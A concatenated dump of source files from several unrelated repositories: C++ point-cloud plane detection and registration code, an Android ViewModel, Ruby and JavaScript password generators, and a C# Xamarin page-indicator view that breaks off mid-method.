// T.pretranslate(t.cast<double>()); //t.cast<double>() Eigen::Vector3d(0,0,0)
// std::cout<<"T: "<<std::endl<<T.matrix()<<std::endl;
return true;
}
// compute score of each transform
double feature::score(Eigen::Matrix4f T)
{
// calculate sum of the distance to the nearest point as the socre
CloudA::Ptr temp_ds_cloud(new CloudA());
voxel_grid(_cloud, temp_ds_cloud, 0.15);
CloudA::Ptr trans_cloud(new CloudA());
pcl::transformPointCloud(*temp_ds_cloud, *trans_cloud, T.inverse());
double score = 0;
for(int i=0; i<trans_cloud->points.size(); i++)
{
PointA p = trans_cloud->points[i];
std::vector<int> index;
std::vector<float> dis;
if(_tree.nearestKSearch(p, 1, index, dis) >0)
{ score += dis[0]; }
}
return score;
}
/*
// match kinect and faro
void feature::match()
{
CloudI::Ptr kinect(new CloudI());
CloudI::Ptr faro(new CloudI());
eigen2pcl(_kinect_params, kinect);
eigen2pcl(_faro_params, faro);
// find nearest normal vector
std::vector<std::pair<int, int> > matches;
pcl::KdTreeFLANN<PointI> tree;
tree.setInputCloud(faro);
for(int i=0; i<kinect->points.size(); i++)
{
PointI p = kinect->points[i];
std::vector<int> index;
std::vector<float> dis;
if(tree.nearestKSearch(p, 1, index, dis) > 0)
{
std::pair<int, int> match(i, index[0]);
matches.push_back(match);
}
}
// cout
std::cout<<std::endl<<std::endl<<std::endl<<"matches: "<<std::endl;
for(int i=0; i<matches.size(); i++)
{
int k = matches[i].first;
int f = matches[i].second;
std::cout<<kinect->points[k].x<<" "<<kinect->points[k].y<<" "
<<kinect->points[k].z<<" "<<kinect->points[k].intensity<<std::endl;
std::cout<<faro->points[f].x<<" "<<faro->points[f].y<<" "
<<faro->points[f].z<<" "<<faro->points[f].intensity<<std::endl<<std::endl;
}
// solve pose
// r
Eigen::Matrix3d w = Eigen::Matrix3d::Zero();
for(int i=0; i<matches.size(); i++)
{
int k = matches[i].first;
int f = matches[i].second;
PointI kp = kinect->points[k];
PointI fp = faro->points[f];
w += Eigen::Vector3d(kp.x, kp.y, kp.z) * Eigen::Vector3d(fp.x, fp.y, fp.z).transpose();
}
Eigen::JacobiSVD<Eigen::Matrix3d> svd(w, Eigen::ComputeFullU|Eigen::ComputeFullV);
Eigen::Matrix3d u = svd.matrixU();
Eigen::Matrix3d v = svd.matrixV();
Eigen::Matrix3d r = u*(v.transpose());
std::cout<<std::endl<<"r: "<<std::endl<<r<<std::endl;
// t
// Eigen::Matrix<double, Eigen::Dynamic, Eigen::Dynamic> a(3, 3);
// Eigen::VectorXd b(3);
// Eigen::Vector3d t;
// for(int i=0; i<3; i++)
// {
// int k = matches[i].first;
// int f = matches[i].second;
// PointI kp = kinect->points[k];
// PointI fp = faro->points[f];
// a(i, 0) = fp.x;
// a(i, 1) = fp.y;
// a(i, 2) = fp.z;
// b(i, 0) = fp.intensity - kp.intensity;
// }
// t = a.inverse() * b;
// std::cout<<std::endl<<"t: "<<std::endl<<t<<std::endl;
// t
Eigen::Matrix<double, Eigen::Dynamic, Eigen::Dynamic> a(matches.size(), 3);
Eigen::VectorXd b(matches.size());
Eigen::Vector3d t;
for(int i=0; i<matches.size(); i++)
{
int k = matches[i].first;
int f = matches[i].second;
PointI kp = kinect->points[k];
PointI fp = faro->points[f];
a(i, 0) = kp.x;
a(i, 1) = kp.y;
a(i, 2) = kp.z;
b(i, 0) = kp.intensity - fp.intensity;
}
t = (a.transpose()*a).inverse()*a.transpose()*b;
std::cout<<std::endl<<"t: "<<std::endl<<t<<std::endl;
// transform cloud
Eigen::Isometry3d T = Eigen::Isometry3d::Identity();
Eigen::Quaterniond q(r);
T.pretranslate(Eigen::Vector3d(0, 0, 0)); //Eigen::Vector3d(0, 0, 0)
T.rotate(q);
std::cout<<std::endl<<"T: "<<std::endl<<T.matrix()<<std::endl;
pcl::transformPointCloud(*_plane_cloud, *_plane_cloud, T.inverse().matrix());
}
*/
<file_sep>/include/common/cloud_utils.h
// FUCK!! BBBBBUG FILE!!!!!!!!!
#ifndef CLOUD_UTILS_H
#define CLOUD_UTILS_H
#include "common_headers.h"
// down sample point cloud by VoxelGrid provied in PCL
// but the organization will be destoryed
inline void voxel_grid(const CloudA::Ptr cloud_in, CloudA::Ptr &cloud_out, double leaf_size)
{
cloud_out->clear();
CloudA::Ptr cloud_temp(new CloudA());
pcl::VoxelGrid<PointA> voxel;
voxel.setLeafSize(leaf_size, leaf_size, leaf_size);
voxel.setInputCloud(cloud_in);
voxel.filter(*cloud_temp);
// VoxelGrid降采样过后的点云,使用ROS发布消息时,RGB信息出错!!!!!!
for(int i=0; i<cloud_temp->points.size(); i++)
{
PointA p;
p.x = cloud_temp->points[i].x;
p.y = cloud_temp->points[i].y;
p.z = cloud_temp->points[i].z;
p.r = cloud_temp->points[i].r;
p.g = cloud_temp->points[i].g;
p.b = cloud_temp->points[i].b;
cloud_out->points.push_back(p);
}
cloud_out->height = 1;
cloud_out->width = cloud_out->points.size();
}
// down sample uniformly
// 点云中含有NAN,导致创建kd-tree时出现错误!!!!
inline void uniform_downsample(const CloudA::Ptr cloud_in, CloudA::Ptr &cloud_out, int interval)
{
cloud_out->clear();
for(int i=0; i<cloud_in->points.size(); i++)
{
int row = i / cloud_in->width;
int col = i % cloud_in->width;
if(row % interval == 0)
{
if(col % interval == 0)
{
PointA p = cloud_in->points[i];
cloud_out->points.push_back(p);
}
}
}
cloud_out->height = std::ceil(1.0 * cloud_in->height / interval);
cloud_out->width = std::ceil(1.0 * cloud_in->width / interval);
// std::cout<<"init: "<<cloud_in->height<<" "<<cloud_in->width<<" "<<cloud_in->points.size()<<std::endl;
// std::cout<<"after: "<<cloud_out->height<<" "<<cloud_out->width<<" "<<cloud_out->points.size()<<std::endl<<std::endl;
}
// filter the noise
inline void filter(const CloudA::Ptr &cloud_in, CloudA::Ptr &cloud_out)
{
// StatisticalOutlierRemoval
pcl::StatisticalOutlierRemoval<PointA> sor;
sor.setInputCloud(cloud_in);
sor.setMeanK(20);
sor.setStddevMulThresh(1.0);
sor.filter(*cloud_out);
}
// filter the noise of kinect in long range
inline void delete_noise(const CloudA::Ptr &cloud_in, CloudA::Ptr &cloud_out)
{
cloud_out->clear();
for(int i=0; i<cloud_in->points.size(); i++)
{
PointA p = cloud_in->points[i];
if(p.z < 8)
{
cloud_out->points.push_back(p);
}
}
cloud_out->height = 1;
cloud_out->width = cloud_out->points.size();
}
// load camera params form yaml file
inline void load_params(const std::string path, Eigen::Vector4f ¶ms)
{
YAML::Node y = YAML::LoadFile(path);
params[0] = y[0]["params"][0].as<float>();
params[1] = y[0]["params"][1].as<float>();
params[2] = y[0]["params"][2].as<float>();
params[3] = y[0]["params"][3].as<float>();
}
// transform depth image to cloud
inline void create_cloud(const cv::Mat &rgb, const cv::Mat &depth, Eigen::Vector4f ¶ms, CloudA::Ptr &cloud)
{
cloud->clear();
for(int i=0; i<depth.rows; i++)
{
for(int j=0; j<depth.cols; j++)
{
PointA p;
ushort d = depth.ptr<ushort>(i)[j];
p.z = double(d) / 1000.0;
p.x = (j - params[2]) * p.z / params[0];
p.y = (i - params[3]) * p.z / params[1];
p.b = rgb.ptr<uchar>(i)[j*3];
p.g = rgb.ptr<uchar>(i)[j*3+1];
p.r = rgb.ptr<uchar>(i)[j*3+2];
cloud->points.push_back(p);
}
}
}
// save cloud
template<typename PointT>
inline void save_cloud(const std::string path, pcl::PointCloud<PointT> &cloud)
{
cloud.height = 1;
cloud.width = cloud.points.size();
pcl::io::savePCDFile(path, cloud);
std::cout<<"cloud saved"<<std::endl;
}
// transform plane params in std::vector<Eigen::Vector4f> to pcl::PointCloud<pcl::pointXYZI>
inline void eigen2pcl(const std::vector<Eigen::Vector4f> eig, CloudI::Ptr &cloud)
{
cloud->clear();
for(int i=0; i<eig.size(); i++)
{
PointI p;
p.x = eig[i][0];
p.y = eig[i][1];
p.z = eig[i][2];
p.intensity = eig[i][3];
cloud->points.push_back(p);
}
}
/*** TODO: cannot work ? ***/
// transform cloud based on the provided r and t
template<typename PointT>
inline void transform_cloud(const pcl::PointCloud<PointT> cloud_in, pcl::PointCloud<PointT> &cloud_out,
const Eigen::Matrix3f &r, const Eigen::Vector3f &t)
{
cloud_out = cloud_in;
for(int i=0; i<cloud_out.points.size(); i++)
{
PointT p = cloud_out.points[i];
Eigen::Vector3f pei(p.x, p.y, p.z);
Eigen::Vector3f per;
per = pei * r + t;
cloud_out.points[i].x = per[0];
cloud_out.points[i].y = per[1];
cloud_out.points[i].z = per[2];
}
}
// transform cloud based on the provided T
template<typename PointT>
inline void transform_cloud(const pcl::PointCloud<PointT> cloud_in, pcl::PointCloud<PointT> &cloud_out,
const Eigen::Matrix4f &T)
{
Eigen::Vector3f t(T(0,3), T(1,3), T(2,3));
Eigen::Matrix3f r;
r << T(0,0), T(0,1), T(0,2),
T(1,0), T(1,1), T(1,2),
T(2,0), T(2,1), T(2,2);
transform_cloud(cloud_in, cloud_out, r, t);
}
#endif //CLOUD_UTILS_H<file_sep>/src/map.cpp
//
// Created by liuhang on 20190528.
//
#include "map.h"
map::map()
{
}
map::~map()
{
}
// set the params, subscribe and publish msgs
bool map::init(ros::NodeHandle &node, ros::NodeHandle &private_node)
{
return true;
}<file_sep>/src/plane.cpp
//
// Created by liuhang on 20190501.
//
#include "plane.h"
plane::plane(CloudA::Ptr &cloud)
:_init_cloud(cloud), _ds_cloud(new CloudA()), _ca_cloud(new CloudA())
{ }
void plane::process(CloudA::Ptr &plane_cloud, std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp)
{
plane_cloud->clear();
gp.clear();
/* detect planes by region_grow, the performance is better than plan_fitting */
// automatic recognition of kinect and faro
if(_init_cloud->height == 1)
{
// faro
voxel_grid(_init_cloud, _ds_cloud, 0.10); //0.12
region_grow(_ds_cloud, plane_cloud, gp);
}
else
{
// kinect
// uniform_downsample(_init_cloud, temp_cloud, 12); //8
voxel_grid(_init_cloud, _ds_cloud, 0.10);
region_grow(_ds_cloud, plane_cloud, gp);
}
/* detect planes by plane_fitting */
// plane_detect(_ds_cloud, _ca_cloud);
// std::vector<int> in, out;
// for(int i=0; i<_ca_cloud->points.size(); i++)
// { in.push_back(i); }
// multi_plane_fitting(_ca_cloud, in, 100, plane_cloud, out);
}
// plane segmentation by region growing
void plane::region_grow(CloudA::Ptr cloud_in, CloudA::Ptr &cloud_out,
std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp)
{
// delete NAN points
CloudA::Ptr cloud_nonan(new CloudA());
for(int i=0; i<cloud_in->points.size(); i++)
{
float d = cloud_in->points[i].z;
if(d == d)
{ cloud_nonan->points.push_back(cloud_in->points[i]); }
}
// build kd-tree
pcl::search::KdTree<PointA>::Ptr tree(new pcl::search::KdTree<PointA>);
tree->setInputCloud(cloud_nonan);
// compute normal vector
pcl::PointCloud<pcl::Normal>::Ptr normals(new pcl::PointCloud<pcl::Normal>);
pcl::NormalEstimationOMP<PointA, pcl::Normal> n;
n.setSearchMethod(tree);
n.setKSearch(10); //10
n.setInputCloud(cloud_nonan);
n.compute(*normals);
// region growing
std::vector<pcl::PointIndices> clusters;
pcl::RegionGrowing<PointA, pcl::Normal> reg;
reg.setSearchMethod(tree);
reg.setMinClusterSize(30); //50
reg.setMaxClusterSize(100000); //100000
reg.setNumberOfNeighbours(10); //4
reg.setSmoothnessThreshold(4/180.0*M_PI); //8
reg.setCurvatureThreshold(0.02); //0.1
reg.setInputCloud(cloud_nonan);
reg.setInputNormals(normals);
reg.extract(clusters);
// compute plane parmas for each cluster
std::unordered_map<int, std::vector<Eigen::Vector4f> > gp_temp;
for (std::vector<pcl::PointIndices>::const_iterator it = clusters.begin(); it != clusters.end(); ++it)
{
//random number
int r = std::rand()%255;
int g = std::rand()%255;
int b = std::rand()%255;
CloudA::Ptr cloud_temp(new CloudA());
Eigen::Vector4f param_temp;
for (std::vector<int>::const_iterator pit = it->indices.begin(); pit != it->indices.end(); ++pit)
{
PointA p = cloud_nonan->points[*pit];
p.r = r;
p.g = g;
p.b = b;
cloud_temp->points.push_back(p);
cloud_out->points.push_back(p);
}
plane_fitting(cloud_temp, param_temp);
group(param_temp, gp_temp);
}
// delete the redundant same planes
merge(gp_temp, gp);
}
// compute param of one plane by RANSAC
void plane::plane_fitting(CloudA::Ptr cloud_in, Eigen::Vector4f ¶m)
{
pcl::PointIndices::Ptr ind(new pcl::PointIndices);
pcl::ModelCoefficients::Ptr coef(new pcl::ModelCoefficients);
pcl::SACSegmentation<PointA> seg;
seg.setOptimizeCoefficients(true);
seg.setModelType(pcl::SACMODEL_PLANE);
seg.setMethodType(pcl::SAC_RANSAC);
seg.setDistanceThreshold(0.05); //0.05
seg.setInputCloud(cloud_in);
seg.segment(*ind, *coef);
for(int i=0; i<4; i++)
{
// ensuring the consistency of normal vector direction
param[i] = coef->values[i];
// if(coef->values[0] < 0)
// { param[i] = -1.0*param[i]; }
}
}
// divide the plans into three groups
void plane::group(Eigen::Vector4f param, std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp)
{
// compare which is max(fabs) among param[0] [1] [2]
float x = fabs(param[0]);
float y = fabs(param[1]);
float z = fabs(param[2]);
if(x>=y && x>=z)
{ gp[0].push_back(param); }
else if(y>=x && y>=z)
{ gp[1].push_back(param); }
else if(z>=x && z>=y)
{ gp[2].push_back(param); }
}
// delete the redundant same planes
void plane::merge(std::unordered_map<int, std::vector<Eigen::Vector4f> > gp_in,
std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp_out)
{
for(int i=0; i<3; i++)
{
// x y z
for(int j=0; j<gp_in[i].size(); j++)
{
if(gp_out[i].size() == 0)
{
gp_out[i].push_back(gp_in[i][0]);
continue;
}
bool same = false;
for(int k=0; k<gp_out[i].size(); k++)
{
float x = gp_in[i][j][0] - gp_out[i][k][0];
float y = gp_in[i][j][1] - gp_out[i][k][1];
float z = gp_in[i][j][2] - gp_out[i][k][2];
float d = gp_in[i][j][3] - gp_out[i][k][3];
if (fabs(x)<0.2 && fabs(y)<0.2 && fabs(z)<0.2 && fabs(d)<0.2)
{
same = true;
continue;
}
}
if(!same)
{
gp_out[i].push_back(gp_in[i][j]);
}
}
}
// // cout
std::cout<<std::endl<<"合并之前平面参数: "<<std::endl;
for(int m=0; m<3; m++)
{
for(int i=0; i<gp_in[m].size(); i++)
{
std::cout<<gp_in[m][i][0]<<" "<<gp_in[m][i][1]<<" "
<<gp_in[m][i][2]<<" "<<gp_in[m][i][3]<<std::endl;
}
std::cout<<std::endl;
}
// cout
std::cout<<std::endl<<"合并之后平面参数: "<<std::endl;
for(int m=0; m<3; m++)
{
for(int i=0; i<gp_out[m].size(); i++)
{
std::cout<<gp_out[m][i][0]<<" "<<gp_out[m][i][1]<<" "
<<gp_out[m][i][2]<<" "<<gp_out[m][i][3]<<std::endl;
}
std::cout<<std::endl;
}
}
/************************************** rubbish **************************************/
// try to find plane by the organization character, but it does not work...
void plane::plane_detect(CloudA::Ptr cloud_in, CloudA::Ptr &cloud_out)
{
cloud_out->clear();
for(int i=0; i<cloud_in->points.size(); i++)
{
int row = i / cloud_in->width;
int col = i % cloud_in->width;
std::vector<int> indexes;
for(int m=-2; m<=2; m++)
{
int c = col + m;
if(c>=0 && c<=cloud_in->width)
{
int index = c + row * cloud_in->width;
indexes.push_back(index);
}
}
double sum_x=0, sum_y=0, sum_z=0;
for(int k=0; k<indexes.size();k++)
{
sum_x += cloud_in->points[indexes[k]].x;
sum_y += cloud_in->points[indexes[k]].y;
sum_z += cloud_in->points[indexes[k]].z;
}
double diff_x = sum_x / indexes.size() - cloud_in->points[i].x;
double diff_y = sum_y / indexes.size() - cloud_in->points[i].y;
double diff_z = sum_z / indexes.size() - cloud_in->points[i].z;
double max = 0.01;
if(fabs(diff_x)<max && fabs(diff_y)<max && fabs(diff_z)<max)
{
cloud_out->points.push_back(cloud_in->points[i]);
}
}
}
//plane fitting, extract all planes
void plane::multi_plane_fitting(CloudA::Ptr cloud_in, std::vector<int> index_in, int points_count,
CloudA::Ptr &cloud_out, std::vector<int> &index_out)
{
pcl::PointIndices::Ptr plane_pointindices(new pcl::PointIndices);
pcl::ModelCoefficients::Ptr coefficients(new pcl::ModelCoefficients);
pcl::SACSegmentation<PointA> seg;
seg.setOptimizeCoefficients(true);
seg.setModelType(pcl::SACMODEL_PLANE);
seg.setMethodType(pcl::SAC_RANSAC);
seg.setDistanceThreshold(0.05);
seg.setInputCloud(cloud_in);
boost::shared_ptr<std::vector<int>> index_in_indicesptr = boost::make_shared<std::vector<int>>(index_in);
int max_iteration_count = 6;
for(int i=0; i<max_iteration_count; i++)
{
seg.setIndices(index_in_indicesptr);
seg.segment(*plane_pointindices, *coefficients);
if(plane_pointindices->indices.size() < points_count)
{ break; }
//TODO 计算平面的面积,如果太小,说明是近处的物体,丢弃掉
CloudA::Ptr cloud_temp(new CloudA());
pcl::ExtractIndices<PointA> ext;
ext.setInputCloud(cloud_in);
ext.setIndices(plane_pointindices);
ext.setNegative(false);
ext.filter(*cloud_temp);
std::cout<<cloud_temp->points.size()<<std::endl;
float area;
compute_area(cloud_temp, area);
std::unordered_set<int> temp_index_in_indicesptr;
for(int m=0; m<index_in_indicesptr->size(); m++)
{ temp_index_in_indicesptr.emplace(index_in_indicesptr->at(m)); }
//random number
int r = std::rand()%255;
int g = std::rand()%255;
int b = std::rand()%255;
for(int j=0; j<plane_pointindices->indices.size(); j++)
{
temp_index_in_indicesptr.erase(plane_pointindices->indices[j]);
PointA p = cloud_in->points[plane_pointindices->indices[j]];
p.r = r;
p.g = g;
p.b = b;
// if(area > 6)
{
cloud_out->points.push_back(p);
index_out.push_back(plane_pointindices->indices[j]);
}
}
plane_pointindices->indices.clear();
index_in_indicesptr->clear();
for(auto it : temp_index_in_indicesptr)
{ index_in_indicesptr->push_back(it); }
//std:cout<<coefficients->values[0]<<" "<<coefficients->values[1]<<" "<<coefficients->values[2]
// <<" "<<coefficients->values[3]<<" "<<coefficients->values[4];
}
}
// compute plane area
void plane::compute_area(CloudA::Ptr cloud_in, float &area)
{
//OBB,
PointA min_p, max_p, obb_p;
Eigen::Matrix3f obb_r;
pcl::MomentOfInertiaEstimation<PointA> obb;
obb.setInputCloud(cloud_in);
obb.compute();
obb.getOBB(min_p, max_p, obb_p, obb_r);
// obb.getAABB(min_p, max_p);
double diff_x = fabs(max_p.x - min_p.x);
double diff_y = fabs(max_p.y - min_p.y);
double diff_z = fabs(max_p.z - min_p.z);
area = diff_x * diff_y;
// std::cout<<std::endl<<std::endl;
// std::cout<<min_p.x<<" "<<min_p.y<<" "<<min_p.z<<std::endl;
// std::cout<<max_p.x<<" "<<max_p.y<<" "<<max_p.z<<std::endl;
std::cout<<diff_x<<" "<<diff_y<<" "<<diff_z<<std::endl;
}
/************************************** rubbish **************************************/
|
6e212c9ae53373bd9bfcab288f7258d1bab65afa
|
[
"Markdown",
"C",
"CMake",
"C++"
] | 22 |
C++
|
liuhang0727/lh_slam
|
03a98589d4642172026d8421c3405e3bd9fe3b70
|
dac9c15475bde5a2ac4c5f3b58e1735b5f31b74a
|
refs/heads/master
|
<file_sep>package com.empelo.myaliceapp.ui.home;
import android.content.Intent;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.MutableLiveData;
import androidx.lifecycle.ViewModel;
import com.androidnetworking.AndroidNetworking;
import com.androidnetworking.common.Priority;
import com.androidnetworking.error.ANError;
import com.androidnetworking.interfaces.JSONObjectRequestListener;
import com.empelo.myaliceapp.R;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import java.util.List;
public class HomeViewModel extends ViewModel {
private MutableLiveData<String> mText;
private MutableLiveData<String> status;
public HomeViewModel() {
mText = new MutableLiveData<>();
status = new MutableLiveData<>();
mText.setValue("This is the home page");
AndroidNetworking.get("http://192.168.1.8:8031/status")
.setTag("test")
.setPriority(Priority.LOW)
.build()
.getAsJSONObject(new JSONObjectRequestListener() {
@Override
public void onResponse(JSONObject response) {
Log.d("_DATA", response.toString());
JSONObject textArray = null;
try {
textArray = response.getJSONObject("conductor");
} catch (JSONException e) {
e.printStackTrace();
}
try {
String state = textArray.getString("task_active");
if ("1".equals(state)) {
status.setValue("Connected");
} else status.setValue("Disconnected");
} catch (JSONException e) {
e.printStackTrace();
}
}
@Override
public void onError(ANError error) {
// handle error
}
});
}
public LiveData<String> getText() {
return mText;
}
public LiveData<String> getStatus() {
return status;
}
}<file_sep>rootProject.name='MyAliceApp'
include ':app'
|
9bd988e5899cfb692c61b04e95dc50a02a393ed9
|
[
"Java",
"Gradle"
] | 2 |
Java
|
empelogi/MyAliceApp
|
13cb6cc684bd6f8b28a371cd465f242554859947
|
c1068cb48d32fa45156d306adf00bdb47f760a85
|
refs/heads/main
|
<file_sep>class Generator
attr_accessor :passLengthSelected, :upCase, :numbers
def initialize(passLengthSelected, upCase, numbers)
@passLengthSelected = passLengthSelected
@upCase = upCase
@numbers = numbers
end
def password
alphabetEnVowels = "uoiea"
alphabetEnCons = "zxwvtsrqpnmlkjhgfdcb"
combinations = ["ch", "zc", "sh", "th", "ph", "dg"]
pass = ""
check = false
while (pass.length != passLengthSelected.to_i)
if check == true
pass += alphabetEnVowels[rand(alphabetEnVowels.length)]
check = false
else
choise = rand(2)
if choise == 1 && pass.length + 1 != passLengthSelected
pass += alphabetEnCons[rand(alphabetEnCons.length)]
elsif choise == 0 && !(pass.length + 1 >= passLengthSelected.to_i)
pass += combinations[rand(combinations.length)]
end
check = true
end
end
if upCase == true
pass[0] = pass[0].upcase
end
if numbers == true
for i in pass.length - 3..pass.length
pass[i] = rand(10).to_s
end
end
return pass
end
end
def checkUses
check = true
while check != true || check != false
temp = gets.chomp.upcase
if temp == 'Y'
check = true
break
elsif temp == 'N'
check = false
break
else
puts "Wrong args, available only 'Y' or 'N'"
redo
end
end
return check
end
print "Enter a pass length: "
passLengthSelected = gets
puts "Use upcase? Y/N"
upCase = checkUses
puts "Use numbers?"
numbers = checkUses
puts "Selected options:
upcase is #{upCase}
numbers is #{numbers}"
generate = Generator.new(passLengthSelected, upCase, numbers)
puts generate.password
<file_sep>class Generator {
constructor(passLength){
this.passLengthSelected = passLength;
}
password = () => {
const alphabetEnVowels = "uoiea";
const alphabetEnCons = "zxwvtsrqpnmlkjhgfdcb";
let pass = "";
let check = false;
for (let i = 0; pass.length != passLengthSelected; ++i){
if(diffCaseCheckbox.checked == true && i == 0){
pass += alphabetEnCons[this.rndNumberGen(alphabetEnCons.length)].toUpperCase();
check = true;
continue;
}
if(rndNumsCheckbox.checked == true){
if(rndYearsRadio.checked == true && pass.length + 4 == passLengthSelected){
pass += this.rndNumberGen(2022, 1901);
break;
}
else if(rndNumsRadio.checked == true && pass.length + this.rndNumberGen(6) == passLengthSelected){
let currRndGenMin = Math.pow(10, passLengthSelected - pass.length - 1);
let currRndGenMax = currRndGenMin * 10 - 1;
pass += this.rndNumberGen(currRndGenMax, currRndGenMin);
break;
}
else if(rndNumsRadio.checked == true && pass.length + 2 == passLengthSelected){
pass += this.rndNumberGen(99, 10);
break;
}
}
if(check) {
pass += alphabetEnVowels[this.rndNumberGen(alphabetEnVowels.length)]
check = false;
}
else {
pass += alphabetEnCons[this.rndNumberGen(alphabetEnCons.length)]
check = true;
}
}
if (this.filterPass(pass)) return pass;
else return this.password();
}
rndNumberGen = (maxLength, minLength = -1) => {
let rndNumber;
if (maxLength > 255) { rndNumber = new Uint16Array(1); }
else if (maxLength > 65535) { rndNumber = new Uint32Array(1); }
else { rndNumber = new Uint8Array(1); }
rndNumber[0] = maxLength;
if (minLength == -1){
while (rndNumber[0] >= maxLength) {
window.crypto.getRandomValues(rndNumber);
}
}
else{
while (rndNumber[0] >= maxLength || rndNumber[0] < minLength) {
window.crypto.getRandomValues(rndNumber);
}
}
return rndNumber[0];
}
filterPass = pass => {
let repeatedWordsCount;
for (let i = 0; i < pass.length; ++i){
if (pass[i] == pass[i + 2] && i + 2 != passLengthSelected) {
repeatedWordsCount += 1;
}
if (pass[i] == 'y' && pass[i + 2] == 'y' && i + 2 != passLengthSelected) return false;
}
if (repeatedWordsCount >= 3) return false;
else return true;
}
}
|
4270015dda25dbe80ab0b53ee2b876d38ebcbd3d
|
[
"JavaScript",
"Ruby"
] | 2 |
Ruby
|
rsguseinov/password-generator
|
a118bbd8da20ae77aa5a39f9869eeef8f798040d
|
7fb39e82cde1182dbe256facdb8b1713e50d0e88
|
refs/heads/master
|
<repo_name>ShahmanTeh/Xamarin.Forms-TabCarouselPage<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/CirclePageIndicator.cs
/***************************************************************************************************************
* CirclePageIndicator.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Android.App;
using Android.Content;
using Android.Graphics;
using Android.OS;
using Android.Runtime;
using Android.Support.V4.View;
using Android.Util;
using Android.Views;
using Android.Widget;
using Java.Lang;
using Math = System.Math;
namespace TabCarouselPage.Droid.Widget
{
public class CirclePageIndicator : View, IPageIndicator
{
const int Horizontal = 0;
const int Vertical = 1;
private float radius;
private readonly Paint paintPageFill;
private readonly Paint paintStroke;
private readonly Paint paintFill;
private ViewPager viewPager;
private ViewPager.IOnPageChangeListener listener;
private int currentPage;
private int snapPage;
private int currentOffset;
private int scrollState;
private int pageSize;
private int orientation;
public bool IsCentered { get; set; }
private bool snap;
private const int InvalidPointer = -1;
private readonly int touchSlop;
private float lastMotionX = -1;
private int activePointerId = InvalidPointer;
private bool isDragging;
public CirclePageIndicator(Context context) : this(context, null) { }
public CirclePageIndicator(Context context, IAttributeSet attrs) : this(context, attrs, Resource.Attribute.vpiCirclePageIndicatorStyle) { }
public CirclePageIndicator(Context context, IAttributeSet attrs, int defStyle)
: base(context, attrs, defStyle)
{
var defaultPageColor = Resources.GetColor(Resource.Color.default_circle_indicator_page_color);
var defaultFillColor = Resources.GetColor(Resource.Color.default_circle_indicator_fill_color);
var defaultOrientation = Resources.GetInteger(Resource.Integer.default_circle_indicator_orientation);
var defaultStrokeColor = Resources.GetColor(Resource.Color.default_circle_indicator_stroke_color);
var defaultStrokeWidth = Resources.GetDimension(Resource.Dimension.default_circle_indicator_stroke_width);
var defaultRadius = Resources.GetDimension(Resource.Dimension.default_circle_indicator_radius);
var defaultCentered = Resources.GetBoolean(Resource.Boolean.default_circle_indicator_centered);
var defaultSnap = Resources.GetBoolean(Resource.Boolean.default_circle_indicator_snap);
//Retrieve styles attributes
var styledAttributes = context.ObtainStyledAttributes(attrs, Resource.Styleable.CirclePageIndicator, defStyle, Resource.Style.Widget_CirclePageIndicator);
IsCentered = styledAttributes.GetBoolean(Resource.Styleable.CirclePageIndicator_centered, defaultCentered);
Orientation = styledAttributes.GetInt(Resource.Styleable.CirclePageIndicator_orientation, defaultOrientation);
paintPageFill = new Paint(PaintFlags.AntiAlias);
paintPageFill.SetStyle(Paint.Style.Fill);
paintPageFill.Color = styledAttributes.GetColor(Resource.Styleable.CirclePageIndicator_pageColor, defaultPageColor);
paintStroke = new Paint(PaintFlags.AntiAlias);
paintStroke.SetStyle(Paint.Style.Stroke);
paintStroke.Color = styledAttributes.GetColor(Resource.Styleable.CirclePageIndicator_strokeColor, defaultStrokeColor);
paintStroke.StrokeWidth = styledAttributes.GetDimension(Resource.Styleable.CirclePageIndicator_strokeWidth, defaultStrokeWidth);
paintFill = new Paint(PaintFlags.AntiAlias);
paintFill.SetStyle(Paint.Style.Fill);
paintFill.Color = styledAttributes.GetColor(Resource.Styleable.CirclePageIndicator_fillColor, defaultFillColor);
radius = styledAttributes.GetDimension(Resource.Styleable.CirclePageIndicator_radius, defaultRadius);
snap = styledAttributes.GetBoolean(Resource.Styleable.CirclePageIndicator_snap, defaultSnap);
styledAttributes.Recycle();
var configuration = ViewConfiguration.Get(context);
touchSlop = ViewConfigurationCompat.GetScaledPagingTouchSlop(configuration);
}
public Color PageColor
{
get
{
return paintPageFill.Color;
}
set
{
paintPageFill.Color = value;
Invalidate();
}
}
public Color FillColor
{
get
{
return paintFill.Color;
}
set
{
paintFill.Color = value;
Invalidate();
}
}
public int Orientation
{
get
{
return orientation;
}
set
{
switch (value)
{
case Horizontal:
case Vertical:
orientation = value;
UpdatePageSize();
RequestLayout();
break;
default:
throw new IllegalArgumentException("Orientation must be either HORIZONTAL or VERTICAL.");
}
}
}
public Color StrokeColor
{
get
{
return paintStroke.Color;
}
set
{
paintStroke.Color = value;
Invalidate();
}
}
public float StrokeWidth
{
get
{
return paintStroke.StrokeWidth;
}
set
{
paintStroke.StrokeWidth = value;
Invalidate();
}
}
public float Radius
{
get
{
return radius;
}
set
{
radius = value;
Invalidate();
}
}
public bool IsSnap
{
get
{
return snap;
}
set
{
snap = value;
Invalidate();
}
}
protected override void OnDraw(Canvas canvas)
{
base.OnDraw(canvas);
int longSize;
int longPaddingBefore;
int longPaddingAfter;
int shortPaddingBefore;
float dX;
float dY;
if (viewPager == null)
{
return;
}
var count = viewPager.Adapter.Count;
if (count == 0)
{
return;
}
if (currentPage >= count)
{
SetCurrentItem(count - 1);
return;
}
if (Orientation == Horizontal)
{
longSize = Width;
longPaddingBefore = PaddingLeft;
longPaddingAfter = PaddingRight;
shortPaddingBefore = PaddingTop;
}
else
{
longSize = Height;
longPaddingBefore = PaddingTop;
longPaddingAfter = PaddingBottom;
shortPaddingBefore = PaddingLeft;
}
var threeRadius = Radius * 3;
var shortOffset = shortPaddingBefore + Radius;
var longOffset = longPaddingBefore + Radius;
if (IsCentered)
{
longOffset += ((longSize - longPaddingBefore - longPaddingAfter) / 2.0f) - ((count * threeRadius) / 2.0f);
}
